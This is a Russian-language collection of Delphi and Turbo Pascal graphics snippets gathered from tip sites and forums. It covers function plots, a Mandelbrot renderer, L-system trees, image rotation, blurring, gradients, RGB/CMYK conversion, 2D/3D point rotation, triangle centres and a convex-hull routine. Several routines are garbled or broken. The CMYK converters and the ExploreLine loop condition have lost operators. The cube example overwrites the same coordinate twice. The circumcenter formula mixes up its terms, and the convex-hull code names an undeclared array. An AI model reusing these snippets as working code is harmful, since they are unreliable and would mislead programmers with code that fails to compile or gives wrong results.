bm.Height := PaintBox1.height; SpinEdit1.MinValue := 1;
SpinEdit1.MaxValue := MaxN;
SpinEdit1.Value := 3; SpinEdit2.MinValue := 6;
SpinEdit2.MaxValue := MaxN * 4;
SpinEdit2.Value := 50;
SpinEdit2.OnChange := PaintBox1.OnPaint; SpinEdit3.MinValue := 1;
SpinEdit3.MaxValue := 8;
SpinEdit3.Value := 3;
SpinEdit3.OnChange := PaintBox1.OnPaint; CheckBox1.Checked := true;
CheckBox1.OnClick := PaintBox1.OnPaint;
end;

procedure TForm1.PaintBox1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
i: integer;
r: TRect;
begin
if Button <> mbLeft then Exit;
for i := 0 to n do
if (abs(X - pt[i].x) <= RectSize) and (abs(Y - pt[i].y) <= RectSize) then
begin
moving := i;
r.TopLeft := Form1.ClientToScreen(PaintBox1.BoundsRect.TopLeft);
r.BottomRight := Form1.ClientToScreen(PaintBox1.BoundsRect.BottomRight);
GetClipCursor(oldr);
ClipCursor(@r);
Exit;
end;
if moving < 0 then
begin
SpinEdit1.Value := SpinEdit1.Value + 1;
pt[n] := Point(X, Y);
Redraw;
end;
end;

procedure TForm1.PaintBox1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
if moving < 0 then Exit;
pt[moving] := Point(X, Y);
Redraw;
end;

procedure TForm1.PaintBox1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if (Button = mbLeft) and (moving >= 0) then
begin
moving := -1;
ClipCursor(@oldr);
end;
end;

procedure TForm1.SpinEdit1Change(Sender: TObject);
var
i: integer;
begin
FillRandom(SpinEdit1.Value);
SpinEdit2.MinValue := n * 2;
for i := 0 to n do C[i] := GetBinomialCoefficient(n, i);
Redraw;
end;

procedure TForm1.PaintBox1Paint(Sender: TObject);
begin
Redraw;
end;
Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru

Взято с Vingrad.ru http://forum.vingrad.ru


Как нарисовать график функции?

procedure TForm1.Button3Click(Sender: TObject);
var x, y: array[1..50] of double;
  i: integer;
  scalex, scaley, ymin, ymax, xmin, xmax: double;
begin
  for i := 1 to 50 do
    begin
      y[i] := sin(i * 0.5);
      x[i] := i;
    end;
  xmin := x[1];
  xmax := x[1];
  ymin := y[1];
  ymax := y[1];
  for i := 2 to 50 do
    begin // или используйте ymin:=MinValue(y); и т.д.
      if y[i] < ymin then ymin := y[i];
      if y[i] > ymax then ymax := y[i];
      if x[i] < xmin then xmin := x[i];
      if x[i] > xmax then xmax := x[i];
    end;
  scalex := paintbox1.Width / (xmax - xmin);
  scaley := paintbox1.Height / (ymax - ymin);
  with paintbox1.canvas do
    begin
      moveto(trunc(scalex * (x[1] - xmin)), paintbox1.height - trunc(scaley * (y[1] - ymin)));
      for i := 2 to 50 do
        Lineto(trunc(scalex * (x[i] - xmin)), paintbox1.height - trunc(scaley * (y[i] - ymin)));
    end;
end;

Забавная штука синусы:

for i:=1 to 500 do begin
  paintbox1.Canvas.Pixels [round(sin(i*5)*10+50),round(sin(i*10)*10+50)] := RGB(0,0,0);

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru


Как нарисовать фрактал?

procedure DrawMandelbrot(ACanvas: TCanvas; X, Y, au, bu: Double; X2, Y2: Integer);
var
  c1, c2, z1, z2, tmp: Double;
  i, j, Count: Integer;
begin
  c2 := bu;
  for i := 10 to X2 do
  begin
    c1 := au;
    for j := 0 to Y2 do
    begin
      z1 := 0;
      z2 := 0;
      Count := 0;
     {count is deep of iteration of the mandelbrot set
      if |z| >=2 then z is not a member of a mandelset}
      while (((z1 * z1 + z2 * z2 < 4) and (Count <= 90))) do
      begin
        tmp := z1;
        z1 := z1 * z1 - z2 * z2 + c1;
        z2 := 2 * tmp * z2 + c2;
        Inc(Count);
      end;
      //the color-palette depends on TColor(n*count mod t)
      {$IFDEF LINUX}
      ACanvas.Pen.Color := (16 * Count mod 255);
      ACanvas.DrawPoint(j, i);
      {$ELSE}
      ACanvas.Pixels[j, i] := (16 * Count mod 255);
      {$ENDIF}
      c1 := c1 + X;
    end;
    c2 := c2 + Y;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  R: TRect;
  au, ao: Integer;
  dX, dY, bo, bu: Double;
begin
  // Initialize Mandelbrot
  R.Left := 0;
  R.Right := 200;
  R.Top := 0;
  R.Bottom := 205;
  ao := 1;
  au := -2;
  bo := 1.5;
  bu := -1.5;
  //direct scaling cause of speed
  dX := (ao - au) / (R.Right - R.Left);
  dY := (bo - bu) / (R.Bottom - R.Top);
  DrawMandelbrot(Self.Canvas, dX, dY, au, bu, R.Right, R.Bottom);
end;

Автор: Михаил Марковский

...Очередная нетленка, которую я предлагаю Вам, написана мной самостоятельно (идею и примеры, реализованные в программе, я нашел в апрельском номере журнала "Химия и жизнь" за 1995 год). Теоретически она производит трансляцию L-систем с выводом образовавшихся фрактальных графов, а практически рисует кусты и деревья. Вроде бесполезно, но очень красиво. Эта программа написана для TP7, хотя легко переносится на Delphi (как то я уже переводил ее, но модуль бесследно исчез). Буду надеяться, что она придется Вам по душе.

uses graph, crt;

const
  GrafType = 1; {1..3}

type
  PointPtr = ^Point;
  Point = record
    X, Y: Word;
    Angle: Real;
    Next: PointPtr
  end;
  GrfLine = array[0..5000] of
    Byte;
  ChangeType = array[1..30] of
    record
    Mean: Char;
    NewString: string
  end;

var
  K, T, Dx, Dy, StepLength, GrafLength: Word;
  grDriver, Xt: Integer;
  grMode: Integer;
  ErrCode: Integer;
  CurPosition: Point;
  Descript: GrfLine;
  StartLine: string absolute Descript;
  ChangeNumber, Generation: Byte;
  Changes: ChangeType;
  AngleStep: Real;
  Mem: Pointer;

procedure Replace(var Stroka: GrfLine;
  OldChar: Char;
  Repl: string);
var
  I, J: Word;
begin
  if (GrafLength = 0) or (Length(Repl) = 0) then
    Exit;
  I := 1;
  while I <= GrafLength do
  begin
    if Chr(Stroka[I]) = OldChar then
    begin
      for J := GrafLength downto I + 1 do
        Stroka[J + Length(Repl) - 1] := Stroka[J];
      for J := 1 to Length(Repl) do
        Stroka[I + J - 1] := Ord(Repl[J]);
      I := I + J;
      GrafLength := GrafLength + Length(Repl) - 1;
      continue
    end;
    I := I + 1
  end
end;

procedure PushCoord(var Ptr: PointPtr;

  C: Point);
var

  P: PointPtr;
begin

  New(P);
  P^.X := C.X;
  P^.Y := C.Y;
  P^.Angle := C.Angle;
  P^.Next := Ptr;
  Ptr := P
end;

procedure PopCoord(var Ptr: PointPtr;

  var Res: Point);
begin

  if Ptr <> nil then
  begin
    Res.X := Ptr^.X;
    Res.Y := Ptr^.Y;
    Res.Angle := Ptr^.Angle;
    Ptr := Ptr^.Next
  end
end;

procedure FindGrafCoord(var Dx, Dy: Word;

  Angle: Real;
  StepLength: Word);
begin

  Dx := Round(Sin(Angle) * StepLength * GetMaxX / GetMaxY);
  Dy := Round(-Cos(Angle) * StepLength);
end;

procedure NewAngle(Way: ShortInt;

  var Angle: Real;
  AngleStep: Real);
begin

  if Way >= 0 then
    Angle := Angle + AngleStep
  else
    Angle := Angle - AngleStep;
  if Angle >= 4 * Pi then
    Angle := Angle - 4 * Pi;
  if Angle < 0 then
    Angle := 4 * Pi + Angle
end;

procedure Rost(var Descr: GrfLine;

  Cn: Byte;
  Ch: ChangeType);
var
  I: Byte;
begin

  for I := 1 to Cn do
    Replace(Descr, Ch[I].Mean, Ch[I].NewString);
end;

procedure Init1;
begin

  AngleStep := Pi / 8;
  StepLength := 7;
  Generation := 4;
  ChangeNumber := 1;
  CurPosition.Next := nil;
  StartLine := 'F';
  GrafLength := Length(StartLine);
  with Changes[1] do
  begin
    Mean := 'F';
    NewString := 'FF+[+F-F-F]-[-F+F+F]'
  end;
end;

procedure Init2;
begin

  AngleStep := Pi / 4;
  StepLength := 3;
  Generation := 5;
  ChangeNumber := 2;
  CurPosition.Next := nil;
  StartLine := 'G';
  GrafLength := Length(StartLine);
  with Changes[1] do
  begin
    Mean := 'G';
    NewString := 'GFX[+G][-G]'
  end;
  with Changes[2] do
  begin
    Mean := 'X';
    NewString := 'X[-FFF][+FFF]FX'
  end;
end;

procedure Init3;
begin

  AngleStep := Pi / 10;
  StepLength := 9;
  Generation := 5;
  ChangeNumber := 5;
  CurPosition.Next := nil;
  StartLine := 'SLFF';
  GrafLength := Length(StartLine);
  with Changes[1] do
  begin
    Mean := 'S';
    NewString := '[+++G][---G]TS'
  end;
  with Changes[2] do
  begin
    Mean := 'G';
    NewString := '+H[-G]L'
  end;
  with Changes[3] do
  begin
    Mean := 'H';
    NewString := '-G[+H]L'
  end;
  with Changes[4] do
  begin
    Mean := 'T';
    NewString := 'TL'
  end;
  with Changes[5] do
  begin
    Mean := 'L';
    NewString := '[-FFF][+FFF]F'
  end;
end;

begin

  case GrafType of
    1: Init1;
    2: Init2;
    3: Init3;
  else
  end;
  grDriver := detect;
  InitGraph(grDriver, grMode, '');
  ErrCode := GraphResult;
  if ErrCode <> grOk then
  begin
    WriteLn('Graphics error:', GraphErrorMsg(ErrCode));
    Halt(1)
  end;
  with CurPosition do
  begin
    X := GetMaxX div 2;
    Y := GetMaxY;
    Angle := 0;
    MoveTo(X, Y)
  end;
  SetColor(white);
  for K := 1 to Generation do
  begin
    Rost(Descript, ChangeNumber, Changes);
    Mark(Mem);
    for T := 1 to GrafLength do
    begin
      case Chr(Descript[T]) of
        'F':
          begin
            FindGrafCoord(Dx, Dy, CurPosition.Angle, StepLength);
            with CurPosition do
            begin
              Xt := X + Dx;
              if Xt < 0 then
                X := 0
              else
                X := Xt;
              if X > GetMaxX then
                X := GetMaxX;
              Xt := Y + Dy;
              if Xt < 0 then
                Y := 0
              else
                Y := Xt;
              if Y > GetMaxY then
                Y := GetMaxY;
              LineTo(X, Y)
            end
          end;
        'f':
          begin
            FindGrafCoord(Dx, Dy, CurPosition.Angle, StepLength);
            with CurPosition do
            begin
              Xt := X + Dx;
              if Xt < 0 then
                X := 0
              else
                X := Xt;
              if X > GetMaxX then
                X := GetMaxX;
              Xt := Y + Dy;
              if Xt < 0 then
                Y := 0
              else
                Y := Xt;
              if Y > GetMaxY then
                Y := GetMaxY;
              MoveTo(X, Y)
            end
          end;
        '+': NewAngle(1, CurPosition.Angle, AngleStep);
        '-': NewAngle(-1, CurPosition.Angle, AngleStep);
        'I': NewAngle(1, CurPosition.Angle, 2 * Pi);
        '[': PushCoord(CurPosition.Next, CurPosition);
        ']':
          begin
            PopCoord(CurPosition.Next, CurPosition);
            with CurPosition do
              MoveTo(X, Y)
          end
      end
    end;
    Dispose(Mem);
    Delay(1000)
  end;
  repeat
  until KeyPressed;
  CloseGraph
end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как определить лежит ли точка внутри полигона?

The main procedure is called ExploreLine. In this procedure Fst and Lst may be two consecutively points in the polyline. Srch is the point searched.

{ ... }
const {global}
  BigM = 1000000;

function Pend(Pi, Pf: TPoint): Real;
begin
  if (Pf.X = Pi.X) then
    Result := BigM {for a vertical line}
  else
    Result := (Pf.Y - Pi.Y) / (Pf.X - Pi.X);
end;

function Dist(Pi, Pf: TPoint): Real;
begin
  Result := sqrt(sqr(Pi.Y - Pf.Y) + sqr(Pi.X - Pf.X))
end;

function CalcPoint(Pi, Pf: TPoint; d: Word): TPoint;
var
  k, m: Real; { k=d / (1 + m2)Ѕ }
begin
  m := Pend(Pi, Pf);
  k := d / (Sqrt(1 + Sqr(m)));
  if ((Pf.X - Pi.X) < 0) then
  begin
    Result.X := Pi.X - Round(k);
    Result.Y := Pi.Y - Round(m * k);
  end
  else
  begin
    Result.X := Pi.X + Round(k);
    Result.Y := Pi.Y + Round(m * k);
  end;
end;

function ExploreLine(Srch, Fst, Lst: TPoint): Boolean;
var
  p: Word;
  Any: TPoint;
  lim, dis: Real;
begin
  lim := Dist(Lst, Fst);
  p := 1;
  Any := Fst;
  repeat
    Result := TestPoint(Srch, Any);
    dis := Dist(Any, Fst);
    Any := CalcPoint(Fst, Lst, Rad * p);
    Inc(p);
  until
    (Result)rr(dis >= lim);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Нахождение угла между радиус вектором и осью OX

function angl(y,x:extended):extended;  assembler;
 asm
  fld y   {СТЕК!!! Сначала у, потом х}
  fld x
  fpatan
 end;

вывод ответа:
s:=angl(0,1)*180/pi; {Т.к возвращается угол в радианах}
writeln(s:0:0);

Автор Bink (Новиков Виктор)


Алгоритм поворота изображения

Вот алгоритм поворота изображения. Пусть O - это центр поворота, а M - некая точка исходного изображения.
Для каждой точки M нужно найти угол alpha между отрезком OM и горизонталью и длину r отрезка OM.
Теперь, чтобы повернуть изображение на угол beta, нужно каждой точке M
присвоить цвет точки исходного изображения с координатами x,y, где
x = xo + r * cos(alpha + beta)
y = yo + r * sin(alpha + beta)
(xo,yo - центр поворота, r - длина отрезка OM).

Важно именно каждой точке нового изображения сопоставлять точку старого изображения,
а не наоборот, так как иначе некоторые точки нового изображения останутся не закрашенными.

Эту программу можно сильно ускорить, если исходное изображение записать в массив и
обращаться к реальной переменной, а не к свойству Canvas.Pixels.

uses Math;

procedure TForm1.Button1Click(Sender: TObject);
var
  bm, bm1: TBitMap;
  x, y: integer;
  r, a: single;
  xo, yo: integer;
  s, c: extended;
begin
  bm := TBitMap.Create;
  bm.LoadFromFile('ex.bmp');
  xo := bm.Width div 2;
  yo := bm.Height div 2;
  bm1 := TBitMap.Create;
  bm1.Width := bm.Width;
  bm1.Height := bm.Height;
  a := 0;
  repeat
    for y := 0 to bm.Height - 1 do begin
      for x := 0 to bm.Width - 1 do begin
        r := sqrt(sqr(x - xo) + sqr(y - yo));
        SinCos(a + arctan2((y - yo), (x - xo)), s, c);
        bm1.Canvas.Pixels[x,y] := bm.Canvas.Pixels[
          round(xo + r * c), round(yo + r * s)];
      end;
      Application.ProcessMessages;
    end;
    Form1.Canvas.Draw(xo, yo, bm1);
    a := a + 0.05;
    Application.ProcessMessages;
  until Form1.Tag <> 0;
  bm.Destroy;
  bm1.Destroy;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Form1.Tag := 1;
end;

Взято с сайта http://blackman.wp-club.net/


Поиск пересечений графика с осью OX

Для поиска пересечений графика заданной функции с осью абсцисс очень удобен метод хорд.
Он основан на линейной интерполяции. По двум точкам, лежащим по разные стороны от оси OX,
строится прямая. Поскольку точка пересечения этой прямой с осью OX уже ближе к искомому x,
то при повторении этой операции точность резко увеличивается.
Если функция задана массивом точек, то можно произвести только одну операцию приближения.

function F(x: double): double;
begin
  result := sin(x);
end;

procedure TForm1.Button1Click(Sender: TObject);
const
  left = -10;
  right = 10;
var
  x1, x2: double;
  y1, y2: double;
  k, b: double;
  x, y: double;
  d1, d2: double;
begin
  x1 := left;
  y1 := f(x1);
  repeat
    x2 := x1 + 0.1;
    y2 := f(x2);
    if y1 * y2 < 0 then begin
      repeat
        y1 := f(x1);
        y2 := f(x2);
        k := (y1 - y2) / (x1 - x2);
        b := y1 - k * x1;
        x := -b / k;
        y := k * x + b;
        d1 := sqr(x1 - x) + sqr(y1 - y);
        d2 := sqr(x2 - x) + sqr(y2 - y);
        if d1 > d2 then begin
          d1 := d2;
          x1 := x;
        end else x2 := x;
      until d1 < 1E-20;
      ListBox1.Items.Add(FloatToStr(x1));
    end;
    x1 := x2;
    y1 := y2;
  until x2 > right;
end;

Взято с сайта http://blackman.wp-club.net/


RGB --> CMYK

procedure RGBTOCMYK(R : byte;
                    G : byte;
                    B : byte;
                    var C : byte;
                    var M : byte;
                    var Y : byte;
                    var K : byte);
begin
  C := 255 - R;
  M := 255 - G;
  Y := 255 - B;
  if C  0 then
    begin
      c := c - k;
      m := m - k;
      y := y - k;
    end;
end;


CMYK --> RGB

procedure CMYKTORGB(C : byte;
                    M: byte;
                    Y : byte;
                    K : byte;
                    var R : byte;
                    var G : byte;
                    var B : byte);
begin
  if (Integer(C) + Integer(K))  255 then MinColor := 255 - K;
  C := C - MinColor;
  M := M - MinColor;
  Y := Y - MinColor;
  K := K + MinColor;
end;


Вращение объектов

Здесь я бы хотел рассказать не о том, как работать с DelphiX, OpenGL или Direct, а о том, как можно вращать многогранники с помощью простых действий: moveto и lineto.

Здесь рассмотрим пример вращения куба. Будем рисовать на Canvase (например Listbox). Сначала нарисуем врашающийся квадрат (точнее 2 квадрата и соединим их). Пусть q - угол поворота квадрата, который мы рисуем. Очевидно, что нам надо задать координаты вершин квадрата - a:array [1..5,1..2] of integer. 1..4+1 - количество вершин квадрата (почему +1 будет объяснено позже). 1..2 - координата по X и Y. Кто учился в школе, наверное помнит, что уравнение окружности: X^2+Y^2=R^2, кто хорошо учился в школе, возможно вспомнит уравнение эллипса: (X^2)/(a^2)+ (Y^2)/(b^2)=1. Но это нам не надо. Нам понадобится уравнение эллипса в полярных координатах: x=a*sin(t); y=a*cos(t);t=0..2*PI; (учащиеся университетов и институтов ликуют).

С помощью данного уравнения мы заполняем массив с координатами.

for i:=1 to 5 do
begin
  // координата по Х; q+i*pi/2 - угол поворота
  // i-той вершины квадрата.
  a[i,1]:=trunc(80*sin(q+i*pi/2));
  // координата по Y; знак минус - потому что координаты
  // считаются с верхнего левого угла
  a[i,1]:=trunc(-30*cos(q+i*pi/2));
end;

Сейчас будем рисовать квадрат:

for i:=1 to 4 do
begin
  moveto(100+a[i,1],50+a[i,2]); //Встаем на i-ую точку квадрата.
  lineto(100+a[i+1,1],50+a[i+1,2]); //Рисуем линию к i+1-ой точке.

Вот почему array[1..5,1..2], иначе - выход за границы. end;

Затем рисуем второй такой же квадрат, но пониже (или повыше). Соединяем линиями первый со вторым:

for i:=1 to 4 do
begin
  moveto(100+a[i,1],50+a[i,2]);
  lineto(100+a[i,1],130+a[i,2]);
end;

Осталось очистить Listbox, увеличить q и сделать сначала. Все!!!

Можно также скрывать невидимые линии - когда q находится в определенном интервале. Также можно поизвращаться: повернуть куб в другой плоскости - поворот осей(для тех, кто знает формулу).

Автор: Айткулов Павел
WEB-сайт: http://rax.ru/click?apg67108864.narod.ru/

Взято с http://delphiworld.narod.ru


Алгоритм градиентной заливки

Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета. Делается это весьма просто. Координаты получаемого цвета будут равны среднему значению соответствующих координат всех цветов.

Например, нужно сложить красный и синий. Получаем

(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).

В результате получаем сиреневый цвет. Также надо поступать, если цветов более чем 2: сложить соответствующие координаты, потом каждую сумму разделить нацело на количество цветов.

Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным переходом от одного цвета к другому.

Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и линия (длиной h пикселов), по которой нужно залить. Тогда каждый цвет каждого пиксела, находящегося на расстоянии x пикселов от начала будет равен (A1-(A1-B1)/h*x, A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с градиентной заливкой, можно таким образом залить совершенно любую фигуру: будь то прямоугольник, круг или просто произвольная фигура.

Вот как выглядит описанный алгоритм:

{Считается, что координаты первого цвета
равны (A1, A2, A3), а второго (B1, B2, B3)
Кроме того, линия начинается в координатах
(X1,Y1), а заканчивается в (X2,Y1)}

var
  h, i: integer;
begin
  h:=X2-X1-1;
  for i:=0 to h do
    with PaintBox1.Canvas do
    begin
      Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i);
      Rectangle(I,Y1,I+1,Y1);
    end;
end.

Взято с http://delphiworld.narod.ru


Алгоритмы потухания текста и обратного ему эффекта

Вот небольшой участок кода из купленного мною CD-ROM "How To Book". Файл с именем "HowUtils.Pas" содержит реализацию алгоритма "потухания" текста и обратного ему эффекта на холсте, откуда вы можете почерпнуть необходимую вам информацию.

function TFadeEffect.FadeInText(Target: TCanvas; X, Y: integer; FText: string):
  TRect;
var
  Pic: TBitmap;
  W, H: integer;
  PicRect, TarRect: TRect;
begin
  Pic := TBitmap.Create;
  Pic.Canvas.Font := Target.Font;
  W := Pic.Canvas.TextWidth(FText);
  H := Pic.Canvas.TextHeight(FText);
  Pic.Width := W;
  Pic.Height := H;
  PicRect := Rect(0, 0, W, H);
  TarRect := Rect(X, Y, X + W, Y + H);
  Pic.Canvas.CopyRect(PicRect, Target, TarRect);
  SetBkMode(Pic.Canvas.Handle, Transparent);
  Pic.Canvas.TextOut(0, 0, FText);
  FadeInto(Target, X, Y, Pic);
  Pic.Free;
  FadeInText := TarRect;
end;

procedure TFadeEffect.FadeOutText(Target: TCanvas; TarRect: TRect; Orig:
  TBitmap);
var
  Pic: TBitmap;
  PicRect: TRect;
begin
  Pic := TBitmap.Create;
  Pic.Width := TarRect.Right - TarRect.Left;
  Pic.Height := TarRect.Bottom - TarRect.Top;
  PicRect := Rect(0, 0, Pic.Width, Pic.Height);
  Pic.Canvas.CopyRect(PicRect, Orig.Canvas, TarRect);
  FadeInto(Target, TarRect.Left, TarRect.Top, Pic);
  Pic.Free;
end;

Взято с http://delphiworld.narod.ru


Размыть изображение

В этом способе цвету каждой точки присваивается среднее значение цветов соседних точек.

procedure TForm1.Button1Click(Sender: TObject);
const
  width = 100;
  height = 60;
  d = 2;
var
  x, y: integer;
  i, j: integer;
  c: integer;
  Pix: array [0..width-1, 0..height-1] of byte;
begin
  randomize;
  with Form1.Canvas do begin
    Font.Name := 'Arial';
    Font.Size := 30;
    TextOut(d, d, 'Text');

    for y := 0 to height - 1 do
      for x := 0 to width - 1 do
        Pix[x,y] := GetRValue(Pixels[x,y]);
    for y := d to height - d - 1 do begin
      for x := d to width - d - 1 do begin
        c := 0;
        for i := -d to d do
          for j := -d to d do
            c := c + Pix[x+i,y+j];
        c := round(c / sqr(2 * d + 1));

        Pixels[x,y] := RGB(c, c, c);
      end;
      Application.ProcessMessages;
    end;
  end;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Rotate a 2D Point

const
  PIDiv180 = 0.017453292519943295769236907684886;

procedure Rotate(RotAng: Double; x, y: Double; var Nx, Ny: Double);
var
  SinVal: Double;
  CosVal: Double;
begin
  RotAng := RotAng * PIDiv180;
  SinVal := Sin(RotAng);
  CosVal := Cos(RotAng);
  Nx := x * CosVal - y * SinVal;
  Ny := y * CosVal + x * SinVal;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Rotate a 2D Point around another 2D Point

const
  PIDiv180 = 0.017453292519943295769236907684886;

procedure Rotate(RotAng: Double; x, y, ox, oy: Double; var Nx, Ny: Double);
begin
  Rotate(RotAng, x - ox, y - oy, Nx, Ny);
  Nx := Nx + ox;
  Ny := Ny + oy;
end;

procedure Rotate(RotAng: Double; x, y: Double; var Nx, Ny: Double);
var
  SinVal: Double;
  CosVal: Double;
begin
  RotAng := RotAng * PIDiv180;
  SinVal := Sin(RotAng);
  CosVal := Cos(RotAng);
  Nx := x * CosVal - y * SinVal;
  Ny := y * CosVal + x * SinVal;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Rotate a 3D Point around another 3D Point

const
  PIDiv180 = 0.017453292519943295769236907684886;

procedure Rotate(Rx, Ry, Rz: Double; x, y, z, ox, oy, oz: Double;
  var Nx, Ny, Nz: Double);
begin
  Rotate(Rx, Ry, Rz, x - ox, y - oy, z - oz, Nx, Ny, Nz);
  Nx := Nx + ox;
  Ny := Ny + oy;
  Nz := Nz + oz;
end;

procedure Rotate(Rx, Ry, Rz: Double; x, y, z: Double; var Nx, Ny, Nz: Double);
var
  TempX: Double;
  TempY: Double;
  TempZ: Double;
  SinX: Double;
  SinY: Double;
  SinZ: Double;
  CosX: Double;
  CosY: Double;
  CosZ: Double;
  XRadAng: Double;
  YRadAng: Double;
  ZRadAng: Double;
begin
  XRadAng := Rx * PIDiv180;
  YRadAng := Ry * PIDiv180;
  ZRadAng := Rz * PIDiv180;

  SinX := Sin(XRadAng);
  SinY := Sin(YRadAng);
  SinZ := Sin(ZRadAng);

  CosX := Cos(XRadAng);
  CosY := Cos(YRadAng);
  CosZ := Cos(ZRadAng);

  Tempy := y * CosY - z * SinY;
  Tempz := y * SinY + z * CosY;
  Tempx := x * CosX - Tempz * SinX;

  Nz := x * SinX + Tempz * CosX;
  Nx := Tempx * CosZ - TempY * SinZ;
  Ny := Tempx * SinZ + TempY * CosZ;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Найти центр треугольника

Determine the circum-center of a 2D triangle?

procedure Circumcenter(x1, y1, x2, y2, x3, y3: Double; var Px, Py: Double);
var
  A, C, B, D, E, F, G: Double;
begin
  A := x2 - x1;
  B := y2 - y1;
  C := x3 - x1;
  D := y3 - y1;
  E := A * (x1 + x2) + B * (y1 + y3);
  F := C * (x1 + x2) + D * (y1 + y3);
  G := 2.0 * (A * (y3 - y2) - B * (x3 - x2));
  if G = 0 then
    Exit;
  Px := (D * E - B * F) / G;
  Py := (A * F - C * E) / G;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Determine the incenter of a 2D triangle?

procedure Incenter(x1, y1, x2, y2, x3, y3: Double; var Px, Py: Double);
var
  Perim: Double;
  Side12: Double;
  Side23: Double;
  Side31: Double;
begin
  Side12 := Distance(x1, y1, x2, y2);
  Side23 := Distance(x2, y2, x3, y3);
  Side31 := Distance(x3, y3, x1, y1);

  { using Heron's S=UR }
  Perim := 1 / (Side12 + Side23 + Side31);
  Px := (Side23 * x1 + Side31 * x2 + Side12 * x3) * Perim;
  Py := (Side23 * y1 + Side31 * y2 + Side12 * y3) * Perim;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Find the convex hull of 2D points?

uses
  Math;

type
  TPointArray = array of TPoint;

  TPointFloat = record
    X: Real;
    Y: Real;
  end;

  // return the boundary points of the convex hull of a set of points using Grahams scan
  // over-writes the input array - so make a copy first
function FindConvexHull(var APoints: TPointArray): Boolean;
var
  LAngles: array of Real;
  Lindex, LMinY, LMaxX, LPivotIndex: Integer;
  LPivot: TPoint;
  LBehind, LInfront: TPoint;
  LRightTurn: Boolean;
  LVecPoint: TPointFloat;
begin
  Result := True;

  if Length(Points) = 3 then Exit; // already a convex hull
  if Length(Points) < 3 then
  begin // not enough points
    Result := False;
    Exit;
  end;

  // find pivot point, which is known to be on the hull
  // point with lowest y - if there are multiple, point with highest x
  LMinY := 1000;
  LMaxX := 1000;
  LPivotIndex := 0;
  for Lindex := 0 to High(APoints) do
  begin
    if APoints[Lindex].Y = LMinY then
    begin
      if APoints[Lindex].X > LMaxX then
      begin
        LMaxX := APoints[Lindex].X;
        LPivotIndex := Lindex;
      end;
    end
    else if APoints[Lindex].Y < LMinY then
    begin
      LMinY := APoints[Lindex].Y;
      LMaxX := APoints[Lindex].X;
      LPivotIndex := Lindex;
    end;
  end;
  // put pivot into seperate variable and remove from array
  LPivot := APoints[LPivotIndex];
  APoints[LPivotIndex] := APoints[High(APoints)];
  SetLength(APoints, High(APoints));

  // calculate angle to pivot for each point in the array
  // quicker to calculate dot product of point with a horizontal comparison vector
  SetLength(LAngles, Length(APoints));
  for Lindex := 0 to High(APoints) do
  begin
    LVecPoint.X := LPivot.X - APoints[Lindex].X; // point vector
    LVecPoint.Y := LPivot.Y - APoints[Lindex].Y;
    // reduce to a unit-vector - length 1
    LAngles[Lindex] := LVecPoint.X / Hypot(LVecPoint.X, LVecPoint.Y);
  end;

  // sort the points by angle
  QuickSortAngle(APoints, LAngles, 0, High(APoints));

  // step through array to remove points that are not part of the convex hull
  Lindex := 1;
  repeat
    // assign points behind and infront of current point
    if Lindex = 0 then LRightTurn := True
    else
    begin
      LBehind := APoints[Lindex - 1];
      if Lindex = High(APoints) then LInfront := LPivot
      else
        LInfront := APoints[Lindex + 1];

      // work out if we are making a right or left turn using vector product
      if ((LBehind.X - APoints[Lindex].X) * (LInfront.Y - APoints[Lindex].Y)) -
        ((LInfront.X - APoints[Lindex].X) * (LBehind.Y - APoints[Lindex].Y)) < 0 then
        LRightTurn := True
      else
        LRightTurn := False;
    end;

    if LRightTurn then
    begin // point is currently considered part of the hull
      Inc(Lindex); // go to next point
    end
    else
    begin // point is not part of the hull
      // remove point from convex hull
      if Lindex = High(APoints) then
      begin
        SetLength(APoints, High(APoints));
      end
      else
      begin
        Move(APoints[Lindex + 1], APoints[Lindex],
        (High(APoints) - Lindex) * SizeOf(TPoint) + 1);
        SetLength(APoints, High(APoints));
      end;

      Dec(Lindex); // backtrack to previous point
    end;
  until Lindex = High(APoints);

  // add pivot back into points array
  SetLength(APoints, Length(APoints) + 1);
  APoints[High(APoints)] := LPivot;
end;

// sort an array of points by angle
procedure QuickSortAngle(var A: TPointArray; Angles: array of Real; iLo, iHi: Integer);
var
  Lo, Hi: Integer;
  Mid: Real;
  TempPoint: TPoint;
  TempAngle: Real;
begin
  Lo  := iLo;
  Hi  := iHi;
  Mid := Angles[(Lo + Hi) div 2];
  repeat
    while Angles[Lo] < Mid do Inc(Lo);
    while Angles[Hi] > Mid do Dec(Hi);
    if Lo <= Hi then
    begin
      // swap points
      TempPoint := A[Lo];
      A[Lo] := A[Hi];
      A[Hi] := TempPoint;
      // swap angles
      TempAngle := Angles[Lo];
      Angles[Lo] := Angles[Hi];
      Angles[Hi] := TempAngle;
      Inc(Lo);
      Dec(Hi);
    end;
  until Lo > Hi;
  // perform quicksorts on subsections
  if Hi > iLo then QuickSortAngle(A, Angles, iLo, Hi);
